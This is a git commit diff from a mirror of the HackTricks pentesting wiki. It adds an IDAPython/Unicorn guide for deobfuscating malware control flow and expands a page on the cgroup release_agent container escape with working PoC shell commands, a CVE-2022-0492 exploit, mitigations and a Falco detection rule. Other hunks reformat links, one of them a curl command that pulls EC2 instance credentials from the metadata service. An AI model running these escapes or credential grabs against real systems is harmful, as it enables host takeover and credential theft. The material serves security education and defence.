mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge branch 'master' into update_Hijacker_on_the_Samsung_Galaxy_S10_with_wireless_i_20250711_123906
This commit is contained in:
		
						commit
						50413dd66a
					
				@ -169,7 +169,98 @@ If the files of a folder **shouldn't have been modified**, you can calculate the
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
 | 
					When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 1. Locate every indirect jump / call
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import idautils, idc
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					for ea in idautils.FunctionItems(idc.here()):
 | 
				
			||||||
 | 
					    mnem = idc.print_insn_mnem(ea)
 | 
				
			||||||
 | 
					    if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
 | 
				
			||||||
 | 
					        print(f"[+] Dispatcher found @ {ea:X}")
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 2. Extract the dispatcher byte-code
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import idc
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def get_dispatcher_start(jmp_ea, count=9):
 | 
				
			||||||
 | 
					    s = jmp_ea
 | 
				
			||||||
 | 
					    for _ in range(count):
 | 
				
			||||||
 | 
					        s = idc.prev_head(s, 0)
 | 
				
			||||||
 | 
					    return s
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					start = get_dispatcher_start(jmp_ea)
 | 
				
			||||||
 | 
					size  = jmp_ea + idc.get_item_size(jmp_ea) - start
 | 
				
			||||||
 | 
					code  = idc.get_bytes(start, size)
 | 
				
			||||||
 | 
					open(f"{start:X}.bin", "wb").write(code)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 3. Emulate it twice with Unicorn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					from unicorn import *
 | 
				
			||||||
 | 
					from unicorn.x86_const import *
 | 
				
			||||||
 | 
					import struct
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def run(code, zf=0, cf=0):
 | 
				
			||||||
 | 
					    BASE = 0x1000
 | 
				
			||||||
 | 
					    mu = Uc(UC_ARCH_X86, UC_MODE_64)
 | 
				
			||||||
 | 
					    mu.mem_map(BASE, 0x1000)
 | 
				
			||||||
 | 
					    mu.mem_write(BASE, code)
 | 
				
			||||||
 | 
					    mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
 | 
				
			||||||
 | 
					    mu.reg_write(UC_X86_REG_RAX, 0)
 | 
				
			||||||
 | 
					    mu.emu_start(BASE, BASE+len(code))
 | 
				
			||||||
 | 
					    return mu.reg_read(UC_X86_REG_RAX)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Run `run(code,0,0)` and `run(code,1,1)` to obtain the *false* and *true* branch targets.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 4. Patch back a direct jump / call
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import struct, ida_bytes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def patch_direct(ea, target, is_call=False):
 | 
				
			||||||
 | 
					    op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
 | 
				
			||||||
 | 
					    disp = target - (ea + 5) & 0xFFFFFFFF
 | 
				
			||||||
 | 
					    ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					After patching, force IDA to re-analyse the function so the full CFG and Hex-Rays output are restored:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import ida_auto, idaapi
 | 
				
			||||||
 | 
					idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### 5. Label indirect API calls
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Once the real destination of every `call rax` is known you can tell IDA what it is so parameter types & variable names are recovered automatically:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Practical benefits
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Restores the real CFG → decompilation goes from *10* lines to thousands.
 | 
				
			||||||
 | 
					* Enables string-cross-reference & xrefs, making behaviour reconstruction trivial.
 | 
				
			||||||
 | 
					* Scripts are reusable: drop them into any loader protected by the same trick.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## References
 | 
					## References
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
 | 
					- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
 | 
				
			||||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
 | 
					- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
@ -4,7 +4,9 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
 | 
					**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Original PoC:
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Classic PoC (2019)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
```shell
 | 
					```shell
 | 
				
			||||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 | 
					d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 | 
				
			||||||
@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 | 
				
			|||||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 | 
					$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
 | 
					The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`.  Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. **Prepare the Environment:**
 | 
					### Short, readable walk-through
 | 
				
			||||||
   - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
 | 
					 | 
				
			||||||
   - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
```shell
 | 
					1. **Prepare a new cgroup**
 | 
				
			||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 | 
					
 | 
				
			||||||
 | 
					   ```shell
 | 
				
			||||||
 | 
					   mkdir /tmp/cgrp
 | 
				
			||||||
 | 
					   mount -t cgroup -o rdma cgroup /tmp/cgrp   # or –o memory
 | 
				
			||||||
 | 
					   mkdir /tmp/cgrp/x
 | 
				
			||||||
 | 
					   echo 1 > /tmp/cgrp/x/notify_on_release
 | 
				
			||||||
 | 
					   ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					2. **Point `release_agent` to attacker-controlled script on the host**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					   ```shell
 | 
				
			||||||
 | 
					   host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 | 
				
			||||||
 | 
					   echo "$host_path/cmd" > /tmp/cgrp/release_agent
 | 
				
			||||||
 | 
					   ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					3. **Drop the payload**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					   ```shell
 | 
				
			||||||
 | 
					   cat <<'EOF' > /cmd
 | 
				
			||||||
 | 
					#!/bin/sh
 | 
				
			||||||
 | 
					ps aux > "$host_path/output"
 | 
				
			||||||
 | 
					EOF
 | 
				
			||||||
 | 
					   chmod +x /cmd
 | 
				
			||||||
 | 
					   ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					4. **Trigger the notifier**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					   ```shell
 | 
				
			||||||
 | 
					   sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # add ourselves and immediately exit
 | 
				
			||||||
 | 
					   cat /output                                  # now contains host processes
 | 
				
			||||||
 | 
					   ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 2022 kernel vulnerability – CVE-2022-0492
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**.  On a default-configured, root-running Docker/Kubernetes container this allowed:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* privilege escalation to root on the host; ↗
 | 
				
			||||||
 | 
					* container escape without the container being privileged.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Minimal exploit inside a container
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
 | 
				
			||||||
 | 
					apk add --no-cache util-linux  # provides unshare
 | 
				
			||||||
 | 
					unshare -UrCm sh -c '
 | 
				
			||||||
 | 
					  mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
 | 
				
			||||||
 | 
					  echo 1 > /tmp/c/notify_on_release;
 | 
				
			||||||
 | 
					  echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
 | 
				
			||||||
 | 
					  (sleep 1; echo 0 > /tmp/c/cgroup.procs) &
 | 
				
			||||||
 | 
					  while true; do sleep 1; done
 | 
				
			||||||
 | 
					'
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					If the kernel is vulnerable the busybox binary from the *host* executes with full root.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Hardening & Mitigations
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Update the kernel** (≥ versions above).  The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
 | 
				
			||||||
 | 
					* **Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
 | 
				
			||||||
 | 
					* **Disable unprivileged user namespaces** on hosts that do not need them:
 | 
				
			||||||
 | 
					  ```shell
 | 
				
			||||||
 | 
					  sysctl -w kernel.unprivileged_userns_clone=0
 | 
				
			||||||
 | 
					  ```
 | 
				
			||||||
 | 
					* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
 | 
				
			||||||
 | 
					* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
 | 
				
			||||||
 | 
					  ```shell
 | 
				
			||||||
 | 
					  for f in $(find /sys/fs/cgroup -name release_agent); do
 | 
				
			||||||
 | 
					      mount --bind -o ro /dev/null "$f"
 | 
				
			||||||
 | 
					  done
 | 
				
			||||||
 | 
					  ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Detection at runtime
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```yaml
 | 
				
			||||||
 | 
					- rule: Detect release_agent File Container Escapes
 | 
				
			||||||
 | 
					  desc: Detect an attempt to exploit a container escape using release_agent
 | 
				
			||||||
 | 
					  condition: open_write and container and fd.name endswith release_agent and
 | 
				
			||||||
 | 
					             (user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
 | 
				
			||||||
 | 
					             thread.cap_effective contains CAP_SYS_ADMIN
 | 
				
			||||||
 | 
					  output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
 | 
				
			||||||
 | 
					  priority: CRITICAL
 | 
				
			||||||
 | 
					  tags: [container, privilege_escalation]
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
2. **Set Up the Child Cgroup:**
 | 
					The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
 | 
				
			||||||
   - A child cgroup named "x" is created within the mounted cgroup directory.
 | 
					 | 
				
			||||||
   - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
```shell
 | 
					 | 
				
			||||||
echo 1 > /tmp/cgrp/x/notify_on_release
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
3. **Configure the Release Agent:**
 | 
					## References
 | 
				
			||||||
   - The path of the container on the host is obtained from the /etc/mtab file.
 | 
					 | 
				
			||||||
   - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
```shell
 | 
					* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detailed analysis and mitigation script.
 | 
				
			||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 | 
					* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
 | 
				
			||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
4. **Create and Configure the /cmd Script:**
 | 
					 | 
				
			||||||
   - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
```shell
 | 
					 | 
				
			||||||
echo '#!/bin/sh' > /cmd
 | 
					 | 
				
			||||||
echo "ps aux > $host_path/output" >> /cmd
 | 
					 | 
				
			||||||
chmod a+x /cmd
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
5. **Trigger the Attack:**
 | 
					 | 
				
			||||||
   - A process is initiated within the "x" child cgroup and is immediately terminated.
 | 
					 | 
				
			||||||
   - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
```shell
 | 
					 | 
				
			||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../../../banners/hacktricks-training.md}}
 | 
					{{#include ../../../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -108,7 +108,6 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
 | 
					[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
 | 
					docker pull opensecurity/mobile-security-framework-mobsf:latest
 | 
				
			||||||
docker run -p 8000:8000 --privileged \
 | 
					docker run -p 8000:8000 --privileged \
 | 
				
			||||||
 | 
				
			|||||||
@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
 | 
				
			|||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] RMI server codebase enumeration:
 | 
					[+] RMI server codebase enumeration:
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
 | 
					[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
 | 
				
			||||||
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 | 
					[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 | 
				
			||||||
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 | 
					[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 | 
					[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] References:
 | 
					[+] References:
 | 
				
			||||||
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
 | 
					[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
 | 
				
			||||||
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
 | 
					[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] Vulnerabilities:
 | 
					[+] Vulnerabilities:
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 		is therefore most of the time equivalent to remote code execution.
 | 
					[+] 		is therefore most of the time equivalent to remote code execution.
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	References:
 | 
					[+] 	References:
 | 
				
			||||||
[+] 		- https://github.com/qtc-de/beanshooter
 | 
					[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	-----------------------------------
 | 
					[+] 	-----------------------------------
 | 
				
			||||||
[+] 	Name:
 | 
					[+] 	Name:
 | 
				
			||||||
@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 | 
				
			|||||||
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
 | 
					[+] 		establish a working JMX connection, you can also perform deserialization attacks.
 | 
				
			||||||
[+]
 | 
					[+]
 | 
				
			||||||
[+] 	References:
 | 
					[+] 	References:
 | 
				
			||||||
[+] 		- https://github.com/qtc-de/beanshooter
 | 
					[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Shodan
 | 
					## Shodan
 | 
				
			||||||
@ -316,4 +316,3 @@ Entry_1:
 | 
				
			|||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -163,7 +163,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
 | 
				
			|||||||
#List processes inside a container
 | 
					#List processes inside a container
 | 
				
			||||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 | 
					curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 | 
				
			||||||
#Set up and exec job to hit the metadata URL
 | 
					#Set up and exec job to hit the metadata URL
 | 
				
			||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
 | 
					curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
 | 
				
			||||||
#Get the output
 | 
					#Get the output
 | 
				
			||||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 | 
					curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 | 
				
			||||||
# list secrets (no secrets/swarm not set up)
 | 
					# list secrets (no secrets/swarm not set up)
 | 
				
			||||||
@ -337,4 +337,3 @@ You can use auditd to monitor docker.
 | 
				
			|||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
 | 
				
			|||||||
1- What is this?
 | 
					1- What is this?
 | 
				
			||||||
	* This is a Joomla! installation/upgrade package to version 3.x
 | 
						* This is a Joomla! installation/upgrade package to version 3.x
 | 
				
			||||||
	* Joomla! Official site: https://www.joomla.org
 | 
						* Joomla! Official site: https://www.joomla.org
 | 
				
			||||||
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
 | 
						* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 | 
				
			||||||
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 | 
						* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
 | 
				
			|||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
 | 
				
			|||||||
    3.10.0-beta
 | 
					    3.10.0-beta
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[+] Possible interesting urls found:
 | 
					[+] Possible interesting urls found:
 | 
				
			||||||
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
 | 
					Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
 | 
				
			||||||
    Admin panel - http://moodle.schooled.htb/moodle/login/
 | 
					Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[+] Scan finished (0:00:05.643539 elapsed)
 | 
					[+] Scan finished (0:00:05.643539 elapsed)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
				
			|||||||
@ -2,40 +2,86 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**This is a summary of the post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
 | 
					**This page summarizes, extends and updates** the seminal PortSwigger research on [Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) and subsequent work on HTTP/2 connection-state abuse. It focuses on vulnerabilities where **an origin is determined only once per TCP/TLS connection**, enabling an attacker to “smuggle” requests to a different internal host once the channel is established.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Connection State Attacks <a href="#state" id="state"></a>
 | 
					## Connection-State Attacks <a href="#state" id="state"></a>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### First-request Validation
 | 
					### First-request Validation
 | 
				
			||||||
 | 
					
 | 
				
			||||||
When routing requests, reverse proxies might depend on the **Host header** to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in some proxies where the whitelist is only enforced on the initial request in a connection. Consequently, attackers could exploit this by first making a request to an allowed host and then requesting an internal site through the same connection:
 | 
